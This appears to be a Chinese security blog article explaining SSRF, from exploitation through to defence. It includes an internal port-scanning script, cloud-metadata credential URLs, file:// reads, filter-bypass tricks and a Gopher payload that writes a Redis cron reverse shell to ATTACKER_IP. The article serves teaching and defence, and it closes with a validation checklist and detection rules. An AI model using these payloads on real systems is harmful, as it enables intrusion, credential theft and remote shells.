首页
/
行业洞察
/
正文
INDUSTRY INSIGHT · 深度
SSRF攻防实战:从URL伪造到内网沦陷的完整拆解
📅 2026/10/20 22:35:53
✍️ 爱科研究院
👁 阅读 3,247
1. SSRF的本质当服务器替你访问了你不想让它访问的地方先说个真事儿。我做过一次内网渗透测试目标是一个部署在公网的文档预览服务。功能很简单用户提交一个URL服务端去抓取这个URL的内容然后渲染成预览图返回给用户。听起来人畜无害对吧但就是这一个功能让我直接拿到了内网的一台数据库服务器的权限。整个过程没用什么高深的技术就是利用了服务器端请求伪造——Spring框架里的一个经典漏洞点。那个预览服务发起HTTP请求时用的是服务器的内网身份而不是用户的浏览器身份。这意味着我提交一个内网地址服务端就会用自己的权限帮我去访问内网资源。SSRF的全称是Server-Side Request Forgery中文叫服务器端请求伪造。它的核心问题是服务端在接收用户提供的URL或网络地址后没有做足够的校验就发起了请求。这个请求是从服务端发出的所以它带着服务器的IP、服务器的权限、服务器在网络中的位置。攻击者通过控制这个URL就能让服务器帮自己做很多事情尤其是访问那些原本不该被外部触达的内部网络资源。为什么SSRF比普通的Web漏洞更危险因为服务器是内网的一员。它天然能访问那些外部用户碰不到的机器比如内部的数据库、内部的接口、云环境的元数据服务。攻击者通过SSRF等于拿到了一个内网跳板的操作权。这篇内容适合谁看如果你是开发人员需要了解怎么在代码层面避免这类漏洞如果你是安全工程师需要知道怎么测试和利用这类漏洞如果你只是对Web安全感兴趣这篇文章也能让你明白为什么说远程图片链接这个功能有时候比SQL注入还难防。我会从攻击者的视角拆解SSRF的利用过程但最终目的是让你知道怎么防御。2. 攻击链的底层逻辑为什么一个URL就能打穿内网2.1 URL到请求服务端的信任边界要理解SSRF先得理解Web应用里的一条隐含信任链。用户在浏览器里访问一个网站浏览器发起请求这是前端请求。用户提交的表单、点击的链接、上传的图片地址都是告诉服务器请你去访问这个资源。当服务器代替用户去访问时就发生了服务器端请求。关键区别在于身份。前端请求用的是用户浏览器所在设备的IP、Cookie、权限。服务器端请求用的是Web服务器本身的身份——它可能拥有内网IP可能是某个云账号下的特权角色可能挂载着内网的存储密钥。攻击者控制了这个请求的URL就等于借用服务器的身份去访问资源。举个例子。电商网站一般都有上传商品图片功能很多实现方式是让用户填一个图片URL服务器去下载这张图片。如果服务器直接使用用户提供的URL去请求那就把SSRF暴露出来了。攻击者可以把URL改成http://127.0.0.1:3306扫描本机数据库端口http://192.168.1.1/admin访问内网路由器管理页http://100.100.100.100/latest/meta-data/探测云环境元数据这些地址从外网是访问不到的但服务器可以。这就是SSRF最核心的利用基础内外网边界的打破。2.2 SSRF的分类基本型和半成品型实际测试中我会把SSRF分成两类方便后续制定利用策略。基本型SSRFFull SSRF请求的完整响应会返回给攻击者。比如那个文档预览服务它把抓取到的内容渲染成图片返回给用户攻击者可以从返回的图片里读出内网资源的内容。这种类型的危害性最直接——探测结果直接可见内网数据可以直接读取。半成品型SSRFBlind SSRF请求发出去了但响应不返回给攻击者。很多URL检测服务、Webhook回调服务会这样。盲SSRF虽然看不到响应但可以利用时间差来探测内网。比如请求一个不存在的内网IP响应时间可能是1秒请求一个真实存在的IP响应时间可能是0.2秒。通过时间差异可以判断内网主机是否存活。更高级的利用方式是通过盲SSRF向内网服务发送构造好的数据包触发对方的漏洞比如向内网Redis发送写Crond的计划任务或写SSH公钥。还有一种特殊情况叫CSRF与SSRF的结合——服务端发出请求时会携带服务器自身的Cookie如果服务器在内网访问一些需要Cookie认证的接口就能借权限操作。但这种场景相对少见通常还是以主动探测为主。3. 攻击者的完整武器库从探测到利用的实战拆解3.1 内网IP与端口扫描SSRF充当侦察兵渗透测试里拿到一个SSRF后的第一件事是确认它能访问哪些网段。手动测试太慢我会直接上工具。这里列举一个用Python写的简易探测脚本核心逻辑就是利用超时时间差来判断端口是否开放。import requests import urllib.parse target http://vulnerable-site.com/preview?url{payload} payloads [ 127.0.0.1:80, 127.0.0.1:22, 127.0.0.1:3306, 192.168.1.1:80, 192.168.1.2:80, 10.0.0.1:8080, 172.16.0.1:6379 ] for payload in payloads: url target.format(urllib.parse.quote(http:// payload)) try: resp requests.get(url, timeout3) # 状态码200说明端口开放且服务响应 # 状态码500说明端口开放但服务报错 # 超时说明端口被过滤或主机不可达 print(f{payload} {resp.status_code}) except requests.exceptions.Timeout: print(f{payload} timeout) except requests.exceptions.ConnectionError: print(f{payload} connection refused) except Exception as e: print(f{payload} {e})这里有个细节值得注意URL编码。如果你直接把http://127.0.0.1:3306拼接到URL里很多应用会做参数解析导致://被当成URL的一部分直接传给后端。但如果你对IP和端口做URL编码某些应用在拼接URL时会先解码再发起请求就能绕过前端的简单过滤。探测结果的分析也有讲究。比如返回503和返回404不一样——503说明服务存在但当前不可用404说明服务存在但路径不对。端口22响应和普通Web端口响应的区别也很明显SSH的响应头不会是HTTP协议如果SSRF能原样返回内容看一眼返回包前几个字节就能识别服务类型。测试时注意一点别用太快的扫描速度。很多内网安全设备会检测短时间内的连接风暴。我一般把延迟控制在0.5秒以上端口范围也优先选择业务常见端口而不是全端口扫描。3.2 云环境元数据攻击绕过授权拿到临时凭证这是SSRF攻击里杀伤力最大的场景之一。现在很多应用部署在云服务器上云厂商普遍提供元数据服务。以常见的云环境为例元数据服务地址一般是http://169.254.169.254/latest/meta-data/或者国内某些云厂商提供的http://100.100.100.100/latest/meta-data/。这个地址从云服务器内部访问是不需要认证的。如果SSRF的目标是云上的一台服务器攻击者构造URL指向这个元数据地址就能读取到一大堆敏感信息实例ID、主机名、内网IP挂载的IAM角色的临时凭证临时密钥安全组配置信息用户自定义数据有时候里面会藏密钥、初始化脚本等临时凭证泄露是最严重的问题。云厂商的IAM角色临时凭证通常是有效的比如一小时到六小时拿到它之后攻击者就能用云API的权限去操作服务器、读取对象存储里的文件、创建新的资源。整个过程和登录云控制台一样只是没有UI。实际利用的时候还需要点技巧。元数据服务的返回内容是纯文本如果SSRF的功能是渲染图片返回的内容可能没法直接显示。但你可以利用不同路径返回的状态码差异来判断内容是否存在比如/latest/meta-data/iam/security-credentials/ 如果返回200说明存在IAM角色 /latest/meta-data/iam/security-credentials/role-name 返回200内容就是临时凭证有些应用会限制URL必须以http://或https://开头但不会限制IP地址。所以构造http://169.254.169.254/latest/meta-data/完全符合规则。我曾经测试过一个系统它只校验URL是否以http://开头完全不关心地址是不是内网IP结果一瞬间就把云环境的临时凭证打了出来。3.3 内网服务直接打Redis与明文协议的攻击场景扫描知道内网有服务还不够更狠的是直接利用内网服务本身的特性来拿权限。经典案例是SSRF配合内网Redis未授权访问。Redis默认监听在6379端口如果配置里没设置密码验证外部连接直接进去就能操作。攻击者通过SSRF向Redis发送数据利用Redis的写文件功能可以把恶意配置写到服务器的磁盘上。常见的打法有两种写计划任务通过Redis的CONFIG SET命令设置dir和dbfilename参数将内容写入到Linux的定时任务目录比如/var/spool/cron/root然后反弹一个Shell回来。写SSH公钥如果目标服务器开放了SSH服务且允许密钥登录攻击者可以通过Redis把公钥写入/root/.ssh/authorized_keys之后就能免密登录。这里有个技术难题HTTP协议本身是有包装的请求头和请求体之间有特殊的格式直接往Redis发送HTTP请求不一定能成功。常规的绕法有利用Gopher协议gopher://构造符合Redis协议的数据包利用dict协议dict://发送指定的命令利用重定向在可控的服务器上放一个重定向到gopher://127.0.0.1:6379/...的地址Gopher协议是最常用的它允许客户端通过TCP发送任意协议的数据包。一个典型的GopherPayload长这样用URL编码表示Redis指令gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$49%0d%0a%0a%0a*/1 * * * * bash -i /dev/tcp/ATTACKER_IP/8888 01%0a%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a如果你不了解Redis协议这串东西看起来像乱码。其实它是在在模仿Redis的RESP协议格式。每个命令以*开头表示参数数量然后依次是$ 参数长度 \r\n 参数内容 \r\n。只要掌握这个编码规律微信小程序的URL也可以反过来用Gopher去攻击任何基于TCP的明文协议栈。当然现在很多Redis部署已经注意了安全只监听内网地址、设置了强密码、甚至把危险命令改名了。但这种组合攻击思路SSRF内网明文协议在真实攻击链中依然很常见。内网里的Redis、Memcached、MySQL只要是明文协议且没有认证SSRF都能利用起来。3.4 文件读取与协议扩展不止是HTTP严格来说文件读取不算SSRF但在一些语言实现里SSRF的触发点往往伴随着协议穿越。比如PHP的cURL函数默认支持多种协议file://、dict://、gopher://都能用。某些实现会把用户输入直接传给cURL的CURLOPT_URL参数于是攻击者可以file:///etc/passwd读取服务器本地文件file:///proc/self/environ读取环境变量可能包含数据库密码php://filter/convert.base64-encode/resourceindex.php读取PHP源码某些框架的伪协议我用过最典型的场景一个PDF生成服务允许用户传URL生成PDF。看起来好像只是做网页快照但底层用的库是支持PhantomJS或Chromium的这些浏览器内核支持file://协议。直接传file:///etc/passwd生成的PDF里就会带上服务器密码文件的内容。这里的关键在于不是所有开发者都意识到自己用的库默认支持多少种协议。4. 绕过与对抗那些年我们踩过的过滤器4.1 基于域名解析的绕过很多开发者知道SSRF后会在代码里加一个过滤器只允许访问某些白名单域名或者禁止访问内网IP段。听起来很合理但绕过方式五花八门。重定向绕过。过滤器的逻辑可能是先解析URL的域名做一次DNS解析确认IP不在内网范围然后才发起请求。但很多实现是先访问域名拿到响应后再看内容而没有处理重定向。攻击者在自己控制的域名上配置一个302跳转跳转到http://169.254.169.254/latest/meta-data/就能骗过域名白名单检查。DNS重绑定DNS Rebinding。更聪明的方法利用DNS解析结果的可变性。攻击者注册一个域名让DNS记录先返回一个公网IP通过过滤器检查后再返回内网IP。因为服务器端解析DNS的时间和真正发起连接的时间是两个时刻攻击者可以精确控制TTL在极小值让两次解析结果不同。这个方法在高版本的Java、Python中已经通过缓存DNS解析结果的方式免疫了一部分但依然有应用存在这个风险。4.2 基于IP格式的绕过开发者在IP黑名单里写了127.0.0.1、10.0.0.0/8、192.168.0.0/16这些常见内网段但攻击者可以用各种奇怪的写法十进制整数http://2130706433/等价于http://127.0.0.1/十六进制http://0x7f000001/八进制http://017700000001/IPv6压缩格式http://[::1]/或者http://[0:0:0:0:0:ffff:127.0.0.1]/混合写法http://127.1/在某些解析器中等价于127.0.0.1用localhost、localtest.me之类的域名指向内网在URL里加符号干扰解析http://not-inner-ip127.0.0.1/很多解析器会取后面的内容我见过最离谱的一次过滤开发者把localhost替换为空字符串结果攻击者输入locallocalhosthost替换后就变回localhost了。这种看似低级的绕过在真实环境中一直存在。4.3 协议层面绕过的进阶技巧除了URL写法还有更隐蔽的协议层绕过。比如大小写绕过某些过滤器只识别小写的file://不识别FTP://或Http://。有些解析器是大小写不敏感的但过滤器不是。编码绕过对URL进行二次编码%2561在服务器第一次URL解码时变成%61第二次解码时变成a如果服务器代码做了两次URL解码而过滤器只做一次就能绕过。协议走私使用不常见的协议去访问内网端口比如dict://、ftp://、ldap://。如果代码里只限制了HTTP协议这些协议就能绕过去。Gopher协议能打几乎所有TCP服务所以最致命。5. 防御落地从代码到架构的完整方案5.1 代码层面的校验清单我在帮很多项目做安全评审时会重点关注代码里发起请求的地方。防御SSRF的核心原则是服务端不能信任用户提供的任何地址。以下是一份可以直接抄的校验清单第一步URL协议白名单只允许http://和https://其他协议一律拒绝。这一步能挡掉file://、gopher://、dict://等大部分危险协议。第二步域名/IP校验解析URL中的主机名获取所有A记录和AAAA记录检查每一个解析出的IP看是否在内网IP池127.0.0.0/8、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、169.254.0.0/16、特殊云元数据地址等检查主机名是否为localhost或以internal结尾的域名拒绝IP与域名不匹配的请求防止DNS Rebinding第三步请求超时与响应限制设置短超时3~5秒限制响应体大小限制重定向次数最多2次对重定向后的URL必须重新执行上述校验第四步出口流量隔离在架构层面把发起请求的服务部署在独立的网段或云VPC的隔离子网中不允许它访问核心业务网段。用防火墙或云安全组配置出口ACL只允许访问指定的目标。5.2 嗅探式检测运行时防护思路防御不只是一开始的校验运行时的检测也很关键。可以在应用层增加一个HTTP Client的中间件记录所有出站请求的URL和IP当出现以下特征时触发告警请求目标IP属于内网地址段请求URL中包含169.254.169.254或100.100.100.100请求目标端口不是HTTP/HTTPS默认端口80、443请求协议不是HTTP/HTTPS一个比较常见的做法是引入开源安全的SDK做运行时RASP检测。但我不建议一上来就上很重的方案先做好代码校验和出口隔离就已经能挡住大部分攻击了。5.3 DNS层面防御解析后再连接在应用发起请求之前先手动做一次DNS解析然后使用解析后的IP地址建立连接而不是直接传递域名给底层库去解析。这个方案对DNS Rebinding非常有效因为攻击者控制不了你手动解析得到的结果。实现时注意Java里可以先InetAddress.getAllByName()拿到所有地址然后逐一检查Python里可以用socket.getaddrinfo()。拿到合法IP后再用这个IP去拼接请求。当然这不能完全解决DNS Rebinding问题因为从拿到IP到真正发起TCP连接之间依然有时间差。配合短TTL的防御策略可以显著降低风险。真实场景中大多数利用DNS Rebinding的渗透测试都是在目标代码没有手动解析的情况下才能成功的。6. 常见问题与踩坑实录实际测试SSRF的过程中有五个问题出现的频率最高我把它们的解决思路整理一下6.1 服务端不返回响应内容怎么确认漏洞存在这是盲SSRF最常遇到的问题。如果在参数处输入一个http://内网IP:端口/没有响应内容不代表不存在SSRF。可以通过**带外平台OOB**来确认原理是让服务器发起请求到你自己控制的服务器然后在访问日志里看到来自目标服务器的请求记录就说明请求确实是服务器发起的。比如在参数里填入http://your-server.com/ssrf-test如果服务器主动访问了你这个地址日志里会有记录。更高级的玩法是利用DNS解析记录填一个子域名如test.your-domain.com即使HTTP请求被过滤了DNS解析记录也会暴露服务器发起了解析请求。6.2 校验了域名白名单怎么绕过回顾上一节的内容——重定向、DNS Rebinding、URL解析差异都能绕过。如果遇到白名单校验先看代码里是直接匹配URL字符串还是先解析后匹配。如果是字符串匹配用符号、大小写、编码就能绕。如果是解析后再匹配试试DNS Rebinding或者用whitelist.com127.0.0.1这种混合写法。总之不要一见白名单就放弃先摸清楚过滤器的实现方式。6.3 只能发HTTP请求无法使用Gopher还能打内网吗可以。如果只能发HTTP可以借助内网的HTTP服务本身。比如内网存在一个没有限制的Jenkins、ElasticSearch或者某些管理后台的公开接口通过HTTP请求就能执行命令或修改数据。还有一种是针对HTTP服务的特性攻击比如内网存在一个旧版本的Jboss或Weblogic利用其HTTP接口配合反序列化漏洞打内网。有的应用支持ftp://协议可以用FTP的被动模式探测内网端口这种方法在一些老系统上依然有效。6.4 云元数据地址被云厂商改了怎么识别不同云厂商的元数据地址确实不一样。除了常见的169.254.169.254还需要了解不同云平台自己的地址。比如阿里云还有100.100.100.200腾讯云早期有metadata.tencentyun.comAWS的地址是169.254.169.254。做测试时最好把这些地址都试一下。这部分信息会随云厂商的调整变化建议以最新官方文档为准。6.5 目标目标是内网的其他协议比如MySQL、SSH怎么利用MySQL和SSH都是交互式协议不能像Redis那样简单地用Gopher构造数据包。MySQL可以利用部分查询功能比如读取表内容但需要处理认证包。SSH基本无法直接利用除非内网存在旧版本RCE漏洞。所以实际攻击中对MySQL和SSH的利用往往需要先通过内网跳板再做常规的授权攻击。7. 从攻击视角到防御视角我的实操体会做了这么多年安全测试我最大的感受是SSRF的漏洞往往藏在那些看似简单的功能里——图片预览、PDF生成、网页截图、URL检测、Webhook回调。因为这些功能的实现者通常只关注能不能跑通很少思考这个请求是从哪里发的。从我自己的实际防御经验来看最有效的组合不是堆砌防护组件而是三件事同时做代码层做严格的协议白名单和IP校验、网络层做出口ACL隔离、运行时做异常请求监控。这三层都做到位SSRF的攻击面就大大压缩了。最后再分享一个细节在做代码评审时只要看到代码里有接收用户输入作为URL去请求的逻辑无论开发者加了什么过滤我都会让他去构造一个http://169.254.169.254/latest/meta-data/先试试。如果返回了内容说明过滤形同虚设。这个测试思路在面试和实战中都挺管用的写出来供你参考。
📌 标签:
工业官网
设计趋势
AI 建站
SEO
获取完整报告 →
RELATED ARTICLES
推荐阅读
2026/10/20 22:35:53
多模态大模型推理能力开发:从架构选型到训练避坑实战
2026/10/20 22:35:53
个人微信机器人开发实战:核心原理、代码实现与稳定运行
2026/10/20 22:30:51
显存计算与模型选择:你的显卡能跑多大的模型?
2026/10/20 23:31:31
人工智能疲劳:成因、表现与应对策略
2026/10/20 23:31:31
微信小程序旧衣回收商品系统:云开发与积分兑换闭环设计实践
2026/10/20 23:31:31
单张图片生成专业视频的四大技术支柱
2026/10/20 23:31:31
新型高效膜分离技术:从技术原理到产业价值投资评估框架
2026/10/20 23:31:31
Java电梯仿真系统:多线程调度与状态机设计实战
2026/10/20 23:26:28
Python虚拟环境与调试工具链:从依赖隔离到高效开发
2026/10/20 1:05:26
WSL下STM32开发板烧录指南:USB透传与OpenOCD实操
2026/10/20 1:05:26
ROS2工业级开发:实时性、资源适配与可交付验证体系
2026/10/20 1:05:26
STM32+华为云IoT+Qt构建智能家居远程控制系统全解析
2026/10/20 16:07:12
OpenResearch实战:Claude Code、Codex、OpenCode、Cursor 工作流搭建与故障排查
2026/10/20 7:57:25
知识管理核弹:用Obsidian构建第二大脑的工程化方案(TaoToken 统一 Key 接入版)
2026/10/20 16:49:38
金融AI落地指南:从调研报告到技术选型与工程实践
2026/10/20 2:24:03
我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频
2026/10/20 2:23:57
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证
2026/10/20 2:23:53
2026 大模型集体涨价:用 Python 做企业 Token 成本测算与选型避坑(附配置)